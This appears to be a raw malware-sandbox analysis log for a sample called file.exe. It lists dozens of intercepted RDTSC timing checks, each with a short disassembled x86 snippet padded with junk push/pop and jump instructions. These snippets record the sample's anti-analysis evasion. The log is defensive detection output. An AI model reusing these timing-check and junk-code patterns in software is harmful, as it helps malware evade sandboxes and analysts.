Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11B6B second address: F11B86 instructions: 0x00000000 rdtsc 0x00000002 js 00007F078CBAC2A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jp 00007F078CBAC2ACh 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11D00 second address: F11D0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F078CD5F936h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11D0A second address: F11D29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2ADh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F078CBAC2A8h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11D29 second address: F11D2F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F11E65 second address: F11E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 jg 00007F078CBAC2A6h 0x0000000d jnp 00007F078CBAC2A6h 0x00000013 je 00007F078CBAC2A6h 0x00000019 popad 0x0000001a jmp 00007F078CBAC2ADh 0x0000001f ja 00007F078CBAC2ACh 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBA6F7 second address: EBA6FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12003 second address: F12007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12007 second address: F1200B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1200B second address: F12014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12B4A second address: F12B66 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F078CD5F944h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F169EC second address: F169F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F15F5D second address: F15F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F16248 second address: F16252 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F078CBAC2A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F16252 second address: F1625B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F18FAB second address: F18FB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19123 second address: F1914E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F078CD5F945h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F078CD5F93Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1914E second address: F19153 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7C7D6 second address: E7C7EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F078CD5F936h 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F078CD5F936h 0x00000012 jbe 00007F078CD5F936h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F84A second address: F1F850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F20083 second address: F200AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F078CD5F948h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F078CD5F936h 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F200AC second address: F200BC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F200BC second address: F200C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F200C5 second address: F200CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24CF3 second address: F24CF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24562 second address: F24582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F078CBAC2B7h 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24582 second address: F24588 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24588 second address: F24598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a ja 00007F078CBAC2A6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24598 second address: F2459C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2459C second address: F245A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F246F8 second address: F2471C instructions: 0x00000000 rdtsc 0x00000002 js 00007F078CD5F936h 0x00000008 jo 00007F078CD5F936h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop ecx 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F078CD5F940h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24880 second address: F24895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F078CBAC2AEh 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F249A5 second address: F249A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F249A9 second address: F249CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F078CBAC2B1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jnp 00007F078CBAC2A6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F249CC second address: F249FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F078CD5F945h 0x00000008 jmp 00007F078CD5F947h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30675 second address: F3067A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3067A second address: F30680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30680 second address: F3068C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3068C second address: F30692 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30834 second address: F3083C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3083C second address: F30849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F078CD5F93Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30849 second address: F3084F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30B42 second address: F30B48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30B48 second address: F30B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F078CBAC2A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30B58 second address: F30B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30B5C second address: F30B72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2ACh 0x00000007 jg 00007F078CBAC2A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30CC6 second address: F30CDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F93Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30FD6 second address: F30FDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30FDA second address: F30FE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31142 second address: F31146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F315AF second address: F315B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31CB5 second address: F31CC3 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F078CBAC2A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F31CC3 second address: F31CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3930F second address: F39342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F078CBAC2B4h 0x00000009 jmp 00007F078CBAC2B6h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F39342 second address: F39346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3FC4D second address: F3FC53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48A86 second address: F48A8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48A8A second address: F48A90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4BE8B second address: F4BEA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F078CD5F949h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C037 second address: F4C03B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C03B second address: F4C041 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4D928 second address: F4D932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F078CBAC2A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4D932 second address: F4D936 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4D936 second address: F4D93C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F51E64 second address: F51E8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F078CD5F945h 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F078CD5F936h 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F53378 second address: F53382 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F078CBAC2A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F53382 second address: F53388 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F53388 second address: F5338E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F56EFE second address: F56F0C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F078CD5F936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F56F0C second address: F56F10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F584CB second address: F584CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F584CF second address: F5851E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 je 00007F078CBAC2A6h 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 je 00007F078CBAC2B3h 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007F078CBAC2ABh 0x00000024 jne 00007F078CBAC2C5h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5E544 second address: F5E574 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F078CD5F936h 0x00000008 jmp 00007F078CD5F944h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F078CD5F93Fh 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64D39 second address: F64D3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64D3D second address: F64D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64EC4 second address: F64EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F078CBAC2B6h 0x00000009 pushad 0x0000000a popad 0x0000000b jne 00007F078CBAC2A6h 0x00000011 popad 0x00000012 popad 0x00000013 push esi 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6502D second address: F65062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F078CD5F93Bh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F078CD5F949h 0x00000012 push eax 0x00000013 jg 00007F078CD5F936h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65062 second address: F65067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65067 second address: F6507A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 jno 00007F078CD5F936h 0x0000000b pop edi 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65500 second address: F65512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push eax 0x0000000a pop eax 0x0000000b jo 00007F078CBAC2A6h 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69B74 second address: F69BA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 jne 00007F078CD5F936h 0x0000000c pop esi 0x0000000d jnc 00007F078CD5F94Fh 0x00000013 popad 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69BA6 second address: F69BAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69730 second address: F69742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F078CD5F93Ah 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73703 second address: F73707 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F821E5 second address: F821F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F078CD5F93Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82058 second address: F82079 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F078CBAC2B8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82079 second address: F8207F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8207F second address: F82089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F078CBAC2A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F86D03 second address: F86D09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88891 second address: F88895 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88895 second address: F8889B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8889B second address: F888A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F888A1 second address: F888AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F078CD5F936h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F97945 second address: F97963 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2B9h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9817E second address: F98184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99ADC second address: F99AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F078CBAC2A6h 0x0000000a pop eax 0x0000000b jmp 00007F078CBAC2AEh 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99AFA second address: F99B22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F078CD5F93Ch 0x00000010 jne 00007F078CD5F936h 0x00000016 jmp 00007F078CD5F942h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C6A7 second address: F9C6E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F078CBAC2AEh 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 popad 0x00000013 mov dword ptr [esp], eax 0x00000016 mov edx, dword ptr [ebp+12466948h] 0x0000001c push 00000004h 0x0000001e call 00007F078CBAC2A9h 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C6E2 second address: F9C6E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C6E6 second address: F9C710 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F078CBAC2B0h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F078CBAC2ABh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C710 second address: F9C73C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F947h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F078CD5F938h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push edx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C96C second address: F9C973 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
